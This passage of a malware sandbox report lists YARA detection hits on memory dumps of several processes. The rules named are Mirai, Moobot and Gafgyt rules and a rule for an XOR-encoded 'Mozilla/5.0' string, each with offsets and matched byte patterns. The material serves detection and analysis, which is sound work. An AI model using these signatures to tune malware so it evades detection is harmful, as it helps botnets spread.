33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6932.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6904.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6919.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6919.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6919.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6919.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6919.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6919.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6989.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6989.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6989.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6989.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6989.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6989.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6364.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6364.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6364.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6364.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6364.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6364.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7329.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7235.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7235.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7235.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7235.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7235.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7235.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6988.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6667.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6651.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6651.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6651.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6651.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6651.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6651.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6309.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6243.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6326.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
